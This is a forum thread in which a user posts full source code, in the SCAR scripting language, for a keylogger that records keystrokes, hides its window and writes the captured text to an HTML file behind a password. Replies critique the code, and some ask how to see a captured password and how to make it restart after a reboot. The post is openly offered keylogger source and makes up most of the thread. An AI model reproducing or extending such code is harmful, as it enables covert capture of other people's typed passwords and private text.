Results 1 to 15 of 15

Thread: MY [KeyLogger]

  1. #1
    Join Date
    Dec 2006
    Location
    utah
    Posts
    1,427
    Mentioned
    2 Post(s)
    Quoted
    7 Post(s)

    Default MY [KeyLogger]

    ok i made a key logger just for fun i don't scam steal or anything
    i was just bored don't post anything inless it's a nice questin or commet!!!!

    SCAR Code:
    program New;
    ////////////////////////////////////////////////////////////////////////////////
    // READ BEFORE USING !!!!!!!!
    //
    //          CREATED BY  "Sky Scripter"
    //
    //   ME : I do not scam or steal or what ever....
    //        i just made this for fun ok...
    //
    //  HOW TO USE:  this will save a html report in your scar folder
    //               so open that with the Internet to see your key history.
    //               also everything is optional except for your
    //               password.
    //
    /////////////////////////////////////
    //                                 //
    //  PS:  Have Fun Whatever you do  //
    //                                 //
    ////////////////////////////////////////////////////////////////////////////////


    var
       s:String;
       key:String;
       NewLine:Boolean;
       Main : TForm;
       Border, Table : TImage;
       PassWord, Hint:TEdit;
       STARTME: TButton;
       APP: TApplication;
       Activate:TComboBox;

    procedure Resetkeys;
    var  Alphabet:String;
         i:Integer;
    begin
    Alphabet:= 'abcdefghijklmnopqrstuvwxyz1234567890_ ';
    For i:= 1 to Length(Alphabet) do
    while IsKeyDown(StrGet(Alphabet, i)) do
    wait(1);
    While IsKeyDown(chr(13)) do
    Wait(1);
    end;

    Function GetKeyDown(Var Key:String; Var NewLine:Boolean):Boolean;
    var
      Alphabet:String;
      i:Integer;
    begin
    Result:= false
    NewLine:= False;
    Alphabet:= 'abcdefghijklmnopqrstuvwxyz123456789_ ';
    For i:= 1 to Length(Alphabet) do
    begin
    if (IsKeyDown(StrGet(Alphabet,i))) then
    begin
      Resetkeys;
      Key:=Alphabet[i]
      Result:=True;
      exit;
    end;
    end;
    if (IsKeyDown(chr(13))) then
    begin
    NewLine:=True;
    Result:=True;
    Resetkeys;
    exit;
    end;
    end;

    Procedure MakeFile;
    var HTMl:String;
        OutFile:Integer;
    begin

    HTML:=  '<HTML><TITLE> MY PAGE </TITLE><BODY BGCOLOR=0'+
           ' Text="White"><CENTER><FONT SIZE="3" COLOR="WH'+
             'ITE" STYLE="BOLD">SKY SCRIPTER<BR>[KEY LOG]<B'+
             'R><BR><FONT SIZE="1"><TABLE ID="AutoNumber1" '+
             'border="4" bordercolor="$F0F0" cellpadding="2'+
             '" cellspacing="2" width="100%" Height="100%">'+
             '<TR bgCOLOR=65280>';

    OutFile:= RewriteFile(AppPath + 'Sky Scripter[key log].HTML', False);
    if(OutFile > -1)then
      begin
        WriteFileString(OutFile, HTML+S+'</TABLE></CENTER></BODY></HTML>');
        CloseFile(OutFile);
      end;
    end;

    Procedure SetKeys;
    begin
    if (GetKeyDown(key, NewLine)) then
    begin
     if (NewLine) then
     begin
    Case Random(2)+1 of
     1:s:= s+'<TR bgCOLOR=65280>' // next line
     2:s:= s+'<TR bgCOLOR=26367>'
    end;
     end else
     s:=s+key;
    end;
     key:='';
     NewLine:= False;
    if (IsKeyDown(chr(VK_BACK))) then
    begin
     while IsKeyDown(chr(VK_BACK)) do
     wait(1)
     delete(s, Length(s), Length(s)-1);
    end;
    end;

    Procedure STARTFORM(Sender:TObject);
    begin
    if (PassWord.TEXT = '') or
       (PassWord.TEXT = 'Password Please') then
    App.MESSAGEBOX('Please Set a password','Password',1)
    else
    begin
    Main.MODALRESULT:= mrOk;
    PassWord.TEXT:= Lowercase(PassWord.TEXT);
    GetSelf.hide;
    end;
    end;

    procedure InitForm;
    var x:Integer;
    begin
      Main := CreateForm;
      Main.SetBounds(259, 132, 400, 300);
      Main.Caption := 'frmDesign';        // Main Form
      Main.Color := 0;
      Main.Font.Color := clWindowText;
      Main.Font.Height := -11;
      Main.Font.Name := 'MS Sans Serif';
      Main.Font.Style := [];
      Main.Visible := False;
      Main.PixelsPerInch := 96;
          PassWord:= TEdit.Create(Main);
          PassWord.SetBounds(40,90,100,20);
          PassWord.Parent:= Main;
          PassWord.COLOR:=16777215;
          PassWord.Hint := 'Set a password so Nobody else can access';
          PassWord.ShowHint:= True;
          PassWord.TEXT:= 'Password Please';
            Hint:= TEdit.Create(Main);
            Hint.SetBounds(190,90,150,20);
            Hint.Parent:= Main;
            Hint.Color := 16777215;
            Hint.Hint := 'set a hint if you forget password (optional)';
            Hint.ShowHint:= True;
            Hint.TEXT:= 'Set Hint';
      Activate:= TComboBox.Create(Main);
      Activate.Parent := Main;
      Activate.SetBounds(135, 150, 78, 23);
      Activate.Color := 16777215;
      Activate.ItemHeight := 15;
      Activate.ParentShowHint := False;
      Activate.Hint := 'Detect Rs2 Before Recording Keys';
      Activate.ShowHint := True;
      Activate.TEXT:= 'False';
      Activate.Items.Add('True');
      Activate.Items.Add('False');
          Table:= TImage.Create(Main);
          Table.SetBounds(10,54,370,200);
          Table.Parent:= Main;
          Table.Canvas.Pen.Color:=255;
      For x:=0 to 100 do
       begin           // Make Top Border
          Table.Canvas.Pen.Color:= Table.Canvas.Pen.Color-3+random(2);
          Table.Canvas.MoveTo(0, x);
          Table.Canvas.LineTo(370, x);
       end;
         For x:=100 to 200 do
       begin           // Make Top Border
          Table.Canvas.Pen.Color:= Table.Canvas.Pen.Color+3-random(2);
          Table.Canvas.MoveTo(0, x);
          Table.Canvas.LineTo(370, x);
       end;
       Table.CANVAS.Font.Color:=15849925;
       Table.CANVAS.Font.Style:= [fsbold];
       Table.CANVAS.Font.Size := 9;
       Table.Canvas.Brush.Style:= bsClear;
       Table.CANVAS.TextOut(50, 15,'Password');
       Table.CANVAS.TextOut(210, 15,'Hint (Optional)');
       Table.CANVAS.TextOut(110, 78,'Detect Rs (Optional)');
          STARTME:= TButton.Create(Main);
          STARTME.SetBounds(138,190,70,25);
          STARTME.Parent:= Main;
          STARTME.caption:='START';
          STARTME.ONCLICK:= @StartForm;
          Border:= TImage.Create(Main);
          Border.SetBounds(0,0,392,40);
          Border.Parent:= Main;
          Border.Canvas.Pen.Color:=255;
          Border.Canvas.Brush.Style:= bsClear;
       For x:=0 to 20 do
       begin           // Make Top Border
          Border.Canvas.Pen.Color:= Border.Canvas.Pen.Color-9;
          Border.Canvas.MoveTo(0, x);
          Border.Canvas.LineTo(392, x);
       end;
        Border.Canvas.Pen.Color:=255;
       For x:=20 to 40 do
       begin           // Make Top Border
          Border.Canvas.Pen.Color:= Border.Canvas.Pen.Color+13;
          Border.Canvas.MoveTo(0, x);
          Border.Canvas.LineTo(392, x);
       end;
       Border.CANVAS.Font.Color:=15849925;
       Border.CANVAS.Font.Style:= [fsbold];
       Border.CANVAS.Font.Size := 12;
       Border.CANVAS.TextOut(90, 10,'Sky Scripter [Key Logger]');
       APP:= TApplication.create(getSelf);
       Main.ShowModal;
    end;


    procedure SafeInitForm;
    var
      v: TVariantArray;
    begin
      setarraylength(V, 0);
      ThreadSafeCall('InitForm', v);
    end;

    var i:Integer;
    begin
    SafeInitForm;
    if (Main.MODALRESULT = mrOk) then
    if (Activate.Text = 'True') then
    repeat
    wait(1000);
    until(FindWindowBySize(766, 504))
    else
    begin
    Resetkeys;
    repeat
    SetKeys;
    until(IsFKeyDown(12));
    for i:=1 to 3 do
    begin
    if (ReadLn('Password Please?')=Lowercase(PassWord.TEXT)) then
    begin
    i:=0;
    MakeFile;
    App.MESSAGEBOX('Successfully saved','Password',1)
    break;
    end else
    if (i>2) then
    begin
    App.MESSAGEBOX('Invaild Passwords Closing SCAR' ,'Password',1)
    getself.CLOSE;
    getself.CLOSE;
    end;
    if (not(Hint.text ='')) and
       (not(Hint.text ='Set Hint'))then
    if (i>0)then
    App.MESSAGEBOX('Hint: '+Hint.text ,'Password',1)
    App.MESSAGEBOX('Sorry Invaild Password chance '+inttostr(i)+' out of 3' ,'Password',1)
    end;
    GetSelf.SHOW;
    if (i>2) then
    getself.CLOSE;
    end else
    Writeln('Need to Set a Password And Start');
    end.

  2. #2
    Join Date
    Feb 2007
    Posts
    4
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    How exactly does this bennifit any of us? Can it be used as a keylogger?

  3. #3
    Join Date
    Dec 2006
    Location
    utah
    Posts
    1,427
    Mentioned
    2 Post(s)
    Quoted
    7 Post(s)

    Default

    Yah it just records your keys
    you don't have to use it

  4. #4
    Join Date
    Feb 2007
    Posts
    4
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    Oh ok I was just a little confused over its purpose.

  5. #5
    Join Date
    Oct 2006
    Posts
    17
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    its a keylogger but not a virused keylogger hes halfway onto creating a cirus then allhe has to do is become genius and make it new and undetectable and may say all new but an idea one may use will allready be used by other the only ppl that know it hanst been nused r the pro hackers.
    i went off topic but.... yeh lol

  6. #6
    Join Date
    Oct 2006
    Posts
    1,211
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    hmmm interesting... you couldnt use this though because there no way it can send an email... but thats cool man!

  7. #7
    Join Date
    Jan 2007
    Location
    Kansas
    Posts
    3,760
    Mentioned
    1 Post(s)
    Quoted
    3 Post(s)

    Default

    That is sweet. I'm gonna try to find out what all I can do with it


  8. #8
    Join Date
    Mar 2006
    Location
    hell
    Posts
    72
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default hehe

    nice, but its not really a keylogger... lol

  9. #9
    Join Date
    Apr 2006
    Location
    I live in NH
    Posts
    611
    Mentioned
    1 Post(s)
    Quoted
    0 Post(s)

    Default

    Nice start on a keylogger man. I really like how you made the colors in your form. Really creative!

    Here is my critique on your script.
    - No waits in main loop! Scar uses too much CPU time.
    - It doesn't check for other characters like... Shift,Alt,Ctrl.
    - It doesn't check for these chars: ,./;'[]\-=`
    - Memory leak, you didn't free the form. - FreeForm(Main);
    - Scar did not close after 3 tries. I hit cancel for each password prompt and then it finally asked me if I wanted to save the changes and I said no.
    - You can see the password. To change this, add in...
    PassWord.PasswordChar := '*';

    ~Ron

  10. #10
    Join Date
    Dec 2006
    Location
    utah
    Posts
    1,427
    Mentioned
    2 Post(s)
    Quoted
    7 Post(s)

    Default

    Nice start on a keylogger man. I really like how you made the colors in your form. Really creative!

    Here is my critique on your script.
    - No waits in main loop! Scar uses too much CPU time.
    - It doesn't check for other characters like... Shift,Alt,Ctrl.
    - It doesn't check for these chars: ,./;'[]\-=`
    - Memory leak, you didn't free the form. - FreeForm(Main);
    - Scar did not close after 3 tries. I hit cancel for each password prompt and then it finally asked me if I wanted to save the changes and I said no.
    - You can see the password. To change this, add in...
    PassWord.PasswordChar := '*';
    ~Ron
    lol as you can see i only spent time on making the form nice

    About the Free Form i didn't no it had to be Free
    thats nice to know thanks......

    thanks very much when i get time i may fix these

  11. #11
    Join Date
    Jan 2007
    Posts
    2
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    how do i actualy see the password????

  12. #12
    Join Date
    Dec 2006
    Location
    utah
    Posts
    1,427
    Mentioned
    2 Post(s)
    Quoted
    7 Post(s)

    Default

    it is saved into a HTML document in your SCAR folder

  13. #13
    Join Date
    Feb 2007
    Posts
    142
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    this could be fun.....

  14. #14
    Join Date
    Sep 2006
    Location
    West U.S.
    Posts
    2,172
    Mentioned
    0 Post(s)
    Quoted
    6 Post(s)

    Default

    hey i was wondering if you could make it so that scar can reload after a comp has been restarted

    is that possible??

    They are sisters...
    Runescape Classic

  15. #15
    Join Date
    Dec 2006
    Location
    utah
    Posts
    1,427
    Mentioned
    2 Post(s)
    Quoted
    7 Post(s)

    Default

    hey i was wondering if you could make it so that scar can reload after a comp has been restarted

    is that possible??
    it don't know what you mean really........?
    getself.refresh

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. KeyLogger Help
    By SKy Scripter in forum News and General
    Replies: 30
    Last Post: 10-05-2007, 11:34 AM
  2. Keylogger?
    By 3Garrett3 in forum News and General
    Replies: 11
    Last Post: 07-02-2007, 05:45 PM
  3. Keylogger maybe?
    By Abyssal in forum News and General
    Replies: 1
    Last Post: 05-20-2007, 11:17 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •